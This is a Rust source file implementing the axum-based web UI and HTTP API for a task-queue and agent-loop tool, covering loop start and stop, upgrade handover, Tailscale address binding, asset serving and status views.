1use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::body::Bytes;
106use axum::extract::rejection::JsonRejection;
107use axum::extract::{DefaultBodyLimit, Path, Query, State};
108use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
109use axum::response::sse::{Event, KeepAlive, Sse};
110use axum::response::{IntoResponse, Response};
111use axum::routing::{get, post};
112use jiff::Timestamp;
113use serde::{Deserialize, Serialize};
114use tokio_stream::StreamExt as _;
115use tokio_stream::wrappers::ReceiverStream;
116
117use crate::ask::{self, Answer, Question, Questions};
118use crate::config::{Config, Update, UpdateMode};
119use crate::md;
120use crate::notices::{Notice, Notices};
121use crate::proc::Quiet as _;
122use crate::queue::{Queue, Task, TaskStatus, title_from};
123use crate::run::{RunState, RunStatus};
124use crate::talk::{Talk, Talks};
125use crate::{daemon, git, report, repos, run, stats, talk, updater};
126
127pub const DEFAULT_PORT: u16 = 7878;
129
130const POLL: Duration = Duration::from_secs(1);
132
133const KEEPALIVE: Duration = Duration::from_secs(15);
137
138const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
149
150const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
153
154const LIST_DEFAULT: usize = 50;
158const LIST_MAX: usize = 500;
160
161const TITLE_MAX: usize = 72;
163
164const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
173
174const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
180
181const FILENAME_HEADER: &str = "x-filename";
185
186const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
209 font-src data:; base-uri 'none'; form-action 'none'; \
210 frame-ancestors 'self'";
211
212const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
213const APP_CSS: &str = include_str!("../assets/ui/app.css");
214const APP_JS: &str = include_str!("../assets/ui/app.js");
215
216#[derive(Debug, Clone, Copy, PartialEq, Eq)]
218pub enum Bind {
219 Auto,
221 Addr(IpAddr),
223}
224
225impl std::str::FromStr for Bind {
226 type Err = String;
227
228 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
232 if s.eq_ignore_ascii_case("auto") {
233 return Ok(Self::Auto);
234 }
235 s.parse()
236 .map(Self::Addr)
237 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
238 }
239}
240
241impl std::fmt::Display for Bind {
242 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
243 match self {
244 Self::Auto => f.write_str("auto"),
245 Self::Addr(addr) => write!(f, "{addr}"),
246 }
247 }
248}
249
250#[derive(Debug, Clone)]
252pub struct Opts {
253 pub bind: Bind,
255 pub port: u16,
257 pub repo: PathBuf,
259 pub open: bool,
262 pub merge: Option<String>,
270}
271
272impl Default for Opts {
273 fn default() -> Self {
274 Self {
275 bind: Bind::Auto,
276 port: DEFAULT_PORT,
277 repo: PathBuf::from("."),
278 open: false,
279 merge: None,
280 }
281 }
282}
283
284#[derive(Debug, Clone)]
290pub struct Ui {
291 queue: Queue,
292 questions: Questions,
293 notices: Notices,
296 talks: Talks,
297 runs: PathBuf,
298 home: PathBuf,
299 repo: PathBuf,
300 worktrees_root: PathBuf,
307 talk_turns: Arc<Mutex<TalkTurns>>,
315 resuming: Arc<Mutex<HashSet<String>>>,
323 repos_cache: repos::Cache,
327 merge: Option<String>,
329 looping: Arc<Mutex<LoopState>>,
331 launch: Launch,
343 #[cfg(test)]
346 busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
347}
348
349#[cfg(test)]
369struct BusyQueueGate {
370 reached: tokio::sync::oneshot::Sender<()>,
371 release: std::sync::mpsc::Receiver<()>,
372}
373
374#[cfg(test)]
375impl std::fmt::Debug for BusyQueueGate {
376 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
377 f.debug_struct("BusyQueueGate").finish_non_exhaustive()
378 }
379}
380
381impl Ui {
382 pub fn new(
384 queue: Queue,
385 questions: Questions,
386 talks: Talks,
387 runs: PathBuf,
388 home: PathBuf,
389 repo: PathBuf,
390 ) -> Self {
391 Self {
392 queue,
393 questions,
394 notices: Notices::at(home.join("notifications")),
395 talks,
396 runs,
397 home,
398 repo,
399 worktrees_root: run::default_worktree_root(),
403 talk_turns: Arc::default(),
404 resuming: Arc::default(),
405 repos_cache: repos::Cache::new(),
406 merge: None,
407 looping: Arc::default(),
408 launch: launch_daemon,
409 #[cfg(test)]
410 busy_queue_gate: Arc::default(),
411 }
412 }
413
414 pub fn open(repo: PathBuf) -> Self {
417 Self::new(
418 Queue::open(),
419 Questions::open(),
420 Talks::open(),
421 run::runs_root(),
422 run::home(),
423 repo,
424 )
425 }
426
427 #[must_use]
434 pub fn with_merge(mut self, merge: Option<String>) -> Self {
435 self.merge = merge;
436 self
437 }
438
439 #[must_use]
444 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
445 self.worktrees_root = root;
446 self
447 }
448
449 #[cfg(test)]
454 #[must_use]
455 fn with_launch(mut self, launch: Launch) -> Self {
456 self.launch = launch;
457 self
458 }
459
460 #[cfg(test)]
470 fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
471 *self
472 .busy_queue_gate
473 .lock()
474 .unwrap_or_else(PoisonError::into_inner) = Some(gate);
475 }
476
477 fn looping(&self) -> Arc<Mutex<LoopState>> {
479 Arc::clone(&self.looping)
480 }
481
482 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
489 if let Some(other) = foreign {
490 return Err(ApiError::conflict(format!(
491 "{} is already running the loop, so this one will not start a \
492 second: two loops on one queue race for the same claims and \
493 burn the agent quota twice over. Stop it where it was \
494 started.",
495 other.who()
496 )));
497 }
498 let mut state = self.lock_loop();
499 if state.live.as_ref().is_some_and(Live::alive) {
500 return Err(ApiError::conflict(format!(
501 "this magi web process (pid {}) is already running the loop",
502 std::process::id()
503 )));
504 }
505
506 let stop = daemon::Stop::new();
507 let opts = daemon::Opts {
511 repo: self.repo.clone(),
512 merge: self.merge.clone(),
513 worktrees_root: Some(self.worktrees_root.clone()),
520 ..daemon::Opts::default()
521 };
522 let launch = self.launch;
523 let looping = Arc::clone(&self.looping);
524 let handle = tokio::spawn({
525 let opts = opts.clone();
526 let stop = stop.clone();
527 async move {
528 let failure = match launch(opts, stop).await {
529 Ok(()) => None,
530 Err(e) => Some(format!("{e:#}")),
531 };
532 match &failure {
533 Some(why) => tracing::error!("the loop stopped: {why}"),
534 None => tracing::info!("the loop stopped"),
535 }
536 let mut state = lock_or_recover(&looping);
542 state.live = None;
543 state.last_error = failure;
544 state.rev += 1;
545 }
546 });
547 tracing::info!(
548 "the loop is now running in this process: repo {}, merge {}",
549 opts.repo.display(),
550 opts.merge.as_deref().unwrap_or("as the config says")
551 );
552 state.live = Some(Live { stop, handle, opts });
553 state.last_error = None;
556 state.rev += 1;
557 Ok(())
558 }
559
560 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
566 if let Some(other) = foreign {
567 return Err(ApiError::conflict(format!(
568 "the loop belongs to {}, and this process cannot stop it - \
569 stop it where it was started. A button that silently did \
570 nothing would be worse than this refusal.",
571 other.who()
572 )));
573 }
574 let mut state = self.lock_loop();
575 if !park {
578 state.resume_after_handover = false;
579 }
580 let Some(live) = state.live.as_ref() else {
581 return Ok(());
582 };
583 if live.stop.stopped() && (!park || live.stop.parking()) {
587 return Ok(());
588 }
589 if park {
590 live.stop.park();
591 tracing::info!("the loop was asked to park; the run stops at its next node boundary");
592 } else {
593 live.stop.stop();
594 tracing::info!("the loop was asked to stop; a run in flight is finished first");
595 }
596 state.rev += 1;
597 Ok(())
598 }
599
600 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
607 let state = self.lock_loop();
608 let live = state.live.as_ref().filter(|live| live.alive());
611 LoopView {
612 running: live.is_some(),
613 stopping: live.is_some_and(|live| live.stop.finishing()),
614 parking: live.is_some_and(|live| live.stop.parking()),
615 owned: live.is_some(),
616 repo: live
617 .map_or(&self.repo, |live| &live.opts.repo)
618 .display()
619 .to_string(),
620 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
621 last_error: state.last_error.clone(),
622 daemon: DaemonView::of(reading),
623 }
624 }
625
626 fn resume_after_handover(&self, resume: bool) -> bool {
632 if !resume {
633 return false;
634 }
635 let foreign = Foreign::of(daemon::read_status(&self.home).as_ref());
636 match self.start_loop(foreign) {
637 Ok(()) => true,
638 Err(e) => {
639 let why = format!(
640 "the loop could not be resumed after the upgrade: {}",
641 e.message
642 );
643 tracing::warn!("{why}");
644 let mut state = self.lock_loop();
645 state.last_error = Some(why);
646 state.rev += 1;
647 false
648 }
649 }
650 }
651
652 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
654 lock_or_recover(&self.looping)
655 }
656
657 fn is_thinking(&self, id: &str) -> bool {
663 self.talk_turns
664 .lock()
665 .is_ok_and(|turns| turns.live.contains(id))
666 }
667
668 fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
687 self.claim_talk_turn(id, false)
688 }
689
690 fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
693 self.claim_talk_turn(id, true)
694 }
695
696 fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
697 let mut live = self
698 .talk_turns
699 .lock()
700 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
701 if !live.live.insert(id.to_owned()) {
702 if queued {
703 *live.queued.entry(id.to_owned()).or_default() += 1;
708 }
709 return Ok(None);
710 }
711 Ok(Some(TalkTurnGuard {
712 talk: id.to_owned(),
713 turns: Arc::clone(&self.talk_turns),
714 released: false,
715 }))
716 }
717
718 fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
723 let mut live = self
724 .talk_turns
725 .lock()
726 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
727 if live.live.contains(id) {
728 return Ok(TalkTurnStart::Busy);
729 }
730 let talk = self.talks.get(id).map_err(ApiError::from)?;
731 if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
732 return Ok(TalkTurnStart::Pending);
733 }
734 live.live.insert(id.to_owned());
735 Ok(TalkTurnStart::Claimed(TalkTurnGuard {
736 talk: id.to_owned(),
737 turns: Arc::clone(&self.talk_turns),
738 released: false,
739 }))
740 }
741
742 fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
749 let parking = {
750 let mut state = self.lock_loop();
751 let resume = state.resume_after_handover
761 || state
762 .live
763 .as_ref()
764 .is_some_and(|live| live.alive() && !live.stop.stopped());
765 state.resume_after_handover = resume;
766 let Some(live) = state.live.as_ref() else {
767 return Ok(None);
768 };
769 let busy = live.stop.busy_now();
770 live.stop.park();
771 state.rev += 1;
772 busy
773 };
774 Ok(if parking {
775 daemon::current_work(&self.home, jiff::Timestamp::now())
780 .into_iter()
781 .next()
782 .map(|c| c.run)
783 } else {
784 None
785 })
786 }
787
788 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
792 let mut live = self
793 .resuming
794 .lock()
795 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
796 if !live.insert(id.to_owned()) {
797 return Err(ApiError::conflict(format!(
798 "run {id} is already being resumed"
799 )));
800 }
801 Ok(ResumeGuard {
802 run: id.to_owned(),
803 resuming: Arc::clone(&self.resuming),
804 })
805 }
806
807 pub fn router(self) -> Router {
815 Router::new()
816 .route("/", get(index))
817 .route("/app.css", get(app_css))
818 .route("/app.js", get(app_js))
819 .route("/api/health", get(health))
820 .route("/api/loop", get(loop_get).post(loop_post))
821 .route("/api/upgrade", post(upgrade_post))
822 .route("/api/runs", get(runs_list))
823 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
824 .route("/api/runs/{id}/report", get(run_report))
825 .route("/api/runs/{id}/fold", post(run_fold))
826 .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
827 .route("/api/runs/{id}/resume", post(run_resume))
828 .route("/api/queue", get(queue_list))
829 .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
830 .route("/api/stats", get(stats_get))
831 .route("/api/repos", get(repos_list))
832 .route("/api/queue/{id}/hold", post(queue_hold))
833 .route("/api/queue/{id}/release", post(queue_release))
834 .route("/api/queue/{id}/priority", post(queue_priority))
835 .route("/api/queue/{id}/edit", post(queue_edit))
836 .route("/api/queue/{id}/done", post(queue_done))
837 .route("/api/questions", get(questions_list))
838 .route("/api/questions/{id}/answer", post(question_answer))
839 .route("/api/questions/{id}/say", post(question_say))
840 .route("/api/questions/{id}/panel", get(question_panel))
841 .route("/api/questions/{id}/panel/index.html", get(question_panel))
849 .route("/api/questions/{id}/panel/{name}", get(question_asset))
850 .route("/api/questions/{id}/asset/{name}", get(question_asset))
851 .route("/api/notifications", get(notifications_list))
852 .route("/api/notifications/read-all", post(notifications_read_all))
853 .route("/api/notifications/{id}/read", post(notification_read))
854 .route(
855 "/api/notifications/{id}/dismiss",
856 post(notification_dismiss),
857 )
858 .route("/api/talks", get(talks_list).post(talk_post))
859 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
860 .route("/api/talks/{id}/say", post(talk_say))
861 .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
862 .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
863 .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
864 .route("/api/talks/{id}/close", post(talk_close))
865 .route("/api/talks/{id}/reopen", post(talk_reopen))
866 .route(
872 "/api/talks/{id}/attachments",
873 post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
874 )
875 .route(
876 "/api/talks/{id}/attachments/{att}",
877 get(talk_attachment_get),
878 )
879 .route("/api/events", get(events))
880 .with_state(Arc::new(self))
881 }
882}
883
884#[derive(Debug)]
890struct TalkTurnGuard {
891 talk: String,
892 turns: Arc<Mutex<TalkTurns>>,
893 released: bool,
894}
895
896#[derive(Debug, Default)]
903struct TalkTurns {
904 live: HashSet<String>,
905 queued: HashMap<String, u64>,
906}
907
908enum TalkTurnStart {
911 Claimed(TalkTurnGuard),
912 Busy,
913 Pending,
914}
915
916impl TalkTurnGuard {
917 fn release(mut self, live: &mut TalkTurns) {
920 live.live.remove(&self.talk);
921 live.queued.remove(&self.talk);
922 self.released = true;
923 }
924}
925
926impl Drop for TalkTurnGuard {
927 fn drop(&mut self) {
928 if self.released {
929 return;
930 }
931 if let Ok(mut live) = self.turns.lock() {
932 live.live.remove(&self.talk);
933 live.queued.remove(&self.talk);
934 }
935 }
936}
937
938struct ResumeGuard {
940 run: String,
941 resuming: Arc<Mutex<HashSet<String>>>,
942}
943
944impl Drop for ResumeGuard {
945 fn drop(&mut self) {
946 if let Ok(mut live) = self.resuming.lock() {
947 live.remove(&self.run);
948 }
949 }
950}
951
952async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
962 const WINDOW: Duration = Duration::from_secs(10);
963 const GAP: Duration = Duration::from_millis(250);
964
965 let deadline = std::time::Instant::now() + WINDOW;
966 let mut said = false;
967 loop {
968 match tokio::net::TcpListener::bind(socket).await {
969 Ok(listener) => return Ok(listener),
970 Err(e)
971 if e.kind() == std::io::ErrorKind::AddrInUse
972 && std::time::Instant::now() < deadline =>
973 {
974 if !said {
975 said = true;
976 tracing::info!(
977 "{socket} is still held - waiting up to {}s for it, \
978 which is what a restart looks like from here",
979 WINDOW.as_secs()
980 );
981 }
982 tokio::time::sleep(GAP).await;
983 }
984 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
985 }
986 }
987}
988
989static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
992
993const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
995
996fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
998 value.is_some_and(|v| v == "1")
999}
1000
1001fn spawn_successor(resume: bool) -> Result<()> {
1019 let exe = std::env::current_exe().context("find this binary")?;
1020 let args: Vec<String> = std::env::args().skip(1).collect();
1021 tracing::info!("restarting: {} {}", exe.display(), args.join(" "));
1022
1023 let mut cmd = std::process::Command::new(&exe);
1024 if resume {
1025 cmd.env(RESUME_LOOP_ENV, "1");
1026 } else {
1027 cmd.env_remove(RESUME_LOOP_ENV);
1028 }
1029 cmd.args(&args)
1030 .stdin(std::process::Stdio::null())
1031 .stdout(std::process::Stdio::null())
1032 .stderr(std::process::Stdio::null());
1033 #[cfg(windows)]
1034 {
1035 use std::os::windows::process::CommandExt as _;
1036 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1039 }
1040 cmd.spawn().context("start the successor")?;
1041 Ok(())
1042}
1043
1044pub async fn serve(opts: Opts) -> Result<()> {
1069 let (addr, warning) = resolve_bind(&opts.bind);
1070 if let Some(warning) = warning {
1071 tracing::warn!("{warning}");
1072 }
1073
1074 report::set_color(false);
1080
1081 let repo = normalize_default_repo(opts.repo).await;
1082 let ui = Ui::open(repo).with_merge(opts.merge);
1083 let home = ui.home.clone();
1088 let repo = ui.repo.clone();
1089 updater::reconcile_after_restart(&home);
1094 tokio::spawn(run_update_recheck(repo, home.clone()));
1103 let looping = ui.looping();
1104 let socket = SocketAddr::new(addr, opts.port);
1105 let listener = bind_waiting(socket).await?;
1106 let url = format!("http://{addr}:{}", opts.port);
1107 tracing::info!(
1108 "magi web UI on {url} - there is no authentication, so anyone who can \
1109 reach this address can file and hold tasks: the tailnet is the \
1110 security boundary"
1111 );
1112 if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1113 tracing::info!("resumed the loop the predecessor was running");
1114 } else {
1115 tracing::info!(
1116 "the queue loop is not running yet - start it from the UI, which is \
1117 the whole reason this process can: nothing in the queue moves until \
1118 something is running the loop"
1119 );
1120 }
1121 if opts.open {
1122 println!("{url}");
1126 }
1127
1128 let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1131 let interrupted = async {
1132 if tokio::signal::ctrl_c().await.is_err() {
1133 std::future::pending::<()>().await;
1138 }
1139 };
1140 let handover = HANDOVER.notified();
1141 tokio::select! {
1142 joined = &mut served => match joined {
1143 Ok(outcome) => outcome.context("serve the web UI"),
1144 Err(e) => Err(e).context("the task serving the web UI ended"),
1145 },
1146 () = interrupted => {
1147 tracing::info!("shutting down the web UI");
1148 finish_loop(&looping).await;
1149 Ok(())
1150 }
1151 () = handover => {
1152 tracing::info!("upgraded - handing this address to the successor");
1153 hand_over(&home, &looping, served, spawn_successor).await
1154 }
1155 }
1156}
1157
1158async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1179 if repo != FsPath::new(".") {
1180 return repo;
1181 }
1182 let Ok(canonical) = repo.canonicalize() else {
1183 return repo;
1184 };
1185 if git::toplevel(&canonical).await.is_ok() {
1186 return repo;
1187 }
1188 let Some(home) = dirs::home_dir() else {
1189 return repo;
1190 };
1191 match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1192 Some(found) => {
1193 tracing::info!(
1194 "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1195 canonical.display(),
1196 found.path.display(),
1197 found.reason,
1198 );
1199 found.path
1200 }
1201 None => repo,
1202 }
1203}
1204
1205async fn hand_over(
1235 home: &FsPath,
1236 looping: &Mutex<LoopState>,
1237 served: tokio::task::JoinHandle<std::io::Result<()>>,
1238 successor: impl FnOnce(bool) -> Result<()>,
1239) -> Result<()> {
1240 if let Some(mut progress) = updater::read_progress(home) {
1241 progress.advance(updater::Stage::Parking);
1242 let _ = updater::write_progress(home, &progress);
1243 }
1244 finish_loop(looping).await;
1245 served.abort();
1246 let _ = served.await;
1247 let resume = lock_or_recover(looping).resume_after_handover;
1250 if let Some(mut progress) = updater::read_progress(home) {
1251 progress.advance(updater::Stage::Restarting);
1252 let _ = updater::write_progress(home, &progress);
1253 }
1254 successor(resume)
1255}
1256
1257async fn finish_loop(state: &Mutex<LoopState>) {
1264 let live = lock_or_recover(state).live.take();
1265 let Some(live) = live else { return };
1266 live.stop.stop();
1267 lock_or_recover(state).rev += 1;
1268 tracing::info!("waiting for the loop to finish the run in flight");
1269 let _ = live.handle.await;
1272}
1273
1274pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1280 match bind {
1281 Bind::Addr(addr) => (*addr, None),
1282 Bind::Auto => match tailscale_ip() {
1283 Ok(ip) => (IpAddr::V4(ip), None),
1284 Err(why) => (
1285 IpAddr::V4(Ipv4Addr::LOCALHOST),
1286 Some(format!(
1287 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1288 local-only and a phone cannot reach it; start Tailscale \
1289 or pass --bind <addr>"
1290 )),
1291 ),
1292 },
1293 }
1294}
1295
1296fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1304 let out = std::process::Command::new("tailscale")
1305 .args(["ip", "-4"])
1306 .quiet()
1307 .output()
1308 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1309 if !out.status.success() {
1310 let why = String::from_utf8_lossy(&out.stderr);
1311 let why = why.trim();
1312 return Err(format!(
1313 "`tailscale ip -4` failed ({}){}",
1314 out.status,
1315 if why.is_empty() {
1316 String::new()
1317 } else {
1318 format!(": {why}")
1319 }
1320 ));
1321 }
1322 String::from_utf8_lossy(&out.stdout)
1323 .lines()
1324 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1325 .find(is_tailnet)
1326 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1327}
1328
1329fn is_tailnet(ip: &Ipv4Addr) -> bool {
1331 let o = ip.octets();
1332 o[0] == 100 && (64..=127).contains(&o[1])
1333}
1334
1335type ApiResult<T> = std::result::Result<T, ApiError>;
1339
1340#[derive(Debug)]
1342struct ApiError {
1343 status: StatusCode,
1344 message: String,
1345}
1346
1347impl ApiError {
1348 fn bad_request(message: impl Into<String>) -> Self {
1350 Self {
1351 status: StatusCode::BAD_REQUEST,
1352 message: message.into(),
1353 }
1354 }
1355
1356 fn not_found(message: impl Into<String>) -> Self {
1358 Self {
1359 status: StatusCode::NOT_FOUND,
1360 message: message.into(),
1361 }
1362 }
1363
1364 fn with_status(mut self, status: StatusCode) -> Self {
1367 self.status = status;
1368 self
1369 }
1370
1371 fn bad_request_from(e: anyhow::Error) -> Self {
1375 Self::bad_request(format!("{e:#}"))
1376 }
1377
1378 fn conflict(message: impl Into<String>) -> Self {
1379 Self {
1380 status: StatusCode::CONFLICT,
1381 message: message.into(),
1382 }
1383 }
1384
1385 fn internal(message: impl Into<String>) -> Self {
1387 Self {
1388 status: StatusCode::INTERNAL_SERVER_ERROR,
1389 message: message.into(),
1390 }
1391 }
1392}
1393
1394impl From<anyhow::Error> for ApiError {
1395 fn from(e: anyhow::Error) -> Self {
1400 Self::internal(format!("{e:#}"))
1401 }
1402}
1403
1404impl IntoResponse for ApiError {
1405 fn into_response(self) -> Response {
1406 let body = serde_json::json!({ "error": self.message });
1407 (self.status, Json(body)).into_response()
1408 }
1409}
1410
1411async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1420where
1421 T: Send + 'static,
1422{
1423 match tokio::task::spawn_blocking(job).await {
1424 Ok(result) => result,
1425 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1426 }
1427}
1428
1429const ASSET_CACHE: &str = "no-cache, must-revalidate";
1447
1448fn asset_etag() -> &'static str {
1455 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1456 format!(
1457 "\"{}-{}\"",
1458 env!("CARGO_PKG_VERSION"),
1459 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1464 )
1465 });
1466 &TAG
1467}
1468
1469fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1471 [
1472 (header::CONTENT_TYPE, mime),
1473 (header::CACHE_CONTROL, ASSET_CACHE),
1474 (header::ETAG, asset_etag()),
1475 ]
1476}
1477
1478fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1486 let tag = asset_etag();
1487 let known = headers
1488 .get(header::IF_NONE_MATCH)
1489 .and_then(|v| v.to_str().ok())
1490 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1494 if known {
1495 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1496 }
1497 (asset_headers(mime), body).into_response()
1498}
1499
1500async fn index(headers: header::HeaderMap) -> Response {
1501 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1502}
1503
1504async fn app_css(headers: header::HeaderMap) -> Response {
1505 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1506}
1507
1508async fn app_js(headers: header::HeaderMap) -> Response {
1509 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1510}
1511
1512#[derive(Debug, Serialize)]
1514struct HealthView {
1515 version: &'static str,
1516 home: String,
1517 queue_rev: u64,
1518 runs_rev: u64,
1519 questions_rev: u64,
1531 talks_rev: u64,
1533 notifications_rev: u64,
1535 notifications_unread: usize,
1538 loop_rev: u64,
1543 runs_unreadable: usize,
1551 disk: DiskView,
1559 questions_open: usize,
1565 questions_needs_owner: usize,
1575 daemon: DaemonView,
1576 #[serde(rename = "loop")]
1582 looping: LoopView,
1583 update: UpdateView,
1590 upgrade: Option<UpgradeProgressView>,
1594}
1595
1596#[derive(Debug, Serialize)]
1603struct UpdateView {
1604 available: bool,
1606 to: Option<String>,
1608}
1609
1610#[derive(Debug, Serialize)]
1612struct UpgradeProgressView {
1613 stage: updater::Stage,
1614 from: String,
1615 to: Option<String>,
1616 waiting_on: Option<String>,
1619 started_at: Timestamp,
1620 updated_at: Timestamp,
1621 detail: Option<String>,
1622}
1623
1624fn should_spawn_recheck(cfg: &Update) -> bool {
1631 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
1632}
1633
1634fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
1646 if progress.is_some_and(|p| !p.stage.terminal()) {
1647 return false;
1648 }
1649 checker.should_check()
1650}
1651
1652fn recheck_poll_period(cfg: &Update) -> Duration {
1665 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
1666}
1667
1668async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
1692 loop {
1693 let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
1694 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
1695 if !should_spawn_recheck(&cfg.update) {
1696 continue;
1697 }
1698 let Some(checker) = updater::Checker::new(&cfg.update) else {
1699 continue;
1700 };
1701 let progress = updater::read_progress(&home);
1702 if !update_recheck_due(&checker, progress.as_ref()) {
1703 continue;
1704 }
1705 if let Err(e) = checker.newer_release().await {
1706 tracing::warn!("background update recheck failed: {e:#}");
1707 }
1708 }
1709}
1710
1711fn cached_update_view(repo: &FsPath) -> UpdateView {
1717 let (cfg, _) = Config::discover(repo, None).unwrap_or_default();
1718 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
1719 match latest {
1720 Some(latest) => UpdateView {
1721 available: true,
1722 to: Some(latest.tag_name),
1723 },
1724 None => UpdateView {
1725 available: false,
1726 to: None,
1727 },
1728 }
1729}
1730
1731fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
1737 let waiting_on = (progress.stage == updater::Stage::Parking)
1738 .then_some(progress.parked_run.as_deref())
1739 .flatten()
1740 .and_then(|id| read_run(&ui.runs, id).ok())
1741 .map(|run| {
1742 format!(
1743 "run {} is finishing {} before the address is handed over",
1744 run.short(),
1745 run.status.as_str()
1746 )
1747 });
1748 UpgradeProgressView {
1749 stage: progress.stage,
1750 from: progress.from,
1751 to: progress.to,
1752 waiting_on,
1753 started_at: progress.started_at,
1754 updated_at: progress.updated_at,
1755 detail: progress.detail,
1756 }
1757}
1758
1759#[derive(Debug, Serialize)]
1764struct DiskView {
1765 #[serde(skip_serializing_if = "Option::is_none")]
1767 free_bytes: Option<u64>,
1768 runs_bytes: u64,
1770 worktrees_bytes: u64,
1772 #[serde(skip_serializing_if = "Option::is_none")]
1774 cache_bytes: Option<u64>,
1775}
1776
1777impl DiskView {
1778 fn of(ui: &Ui) -> Self {
1780 let cache_bytes = Config::discover(&ui.repo, None)
1781 .ok()
1782 .and_then(|(cfg, _)| cfg.cache_dir())
1783 .map(|dir| crate::disk::dir_size(&dir));
1784 Self {
1785 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
1786 runs_bytes: crate::disk::dir_size(&ui.runs),
1787 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
1788 cache_bytes,
1789 }
1790 }
1791}
1792
1793#[derive(Debug, Serialize)]
1795struct DaemonView {
1796 running: bool,
1797 idle: Option<bool>,
1798 pid: Option<u32>,
1799 current: Vec<daemon::Current>,
1803 completed: Option<u64>,
1804 stale_for_secs: Option<i64>,
1805}
1806
1807impl DaemonView {
1808 fn of(status: Option<daemon::Reading>) -> Self {
1812 let Some(status) = status else {
1813 return Self {
1814 running: false,
1815 idle: None,
1816 pid: None,
1817 current: Vec::new(),
1818 completed: None,
1819 stale_for_secs: None,
1820 };
1821 };
1822 let now = Timestamp::now();
1823 let age = status.age_secs(now);
1824 Self {
1825 running: status.running(now),
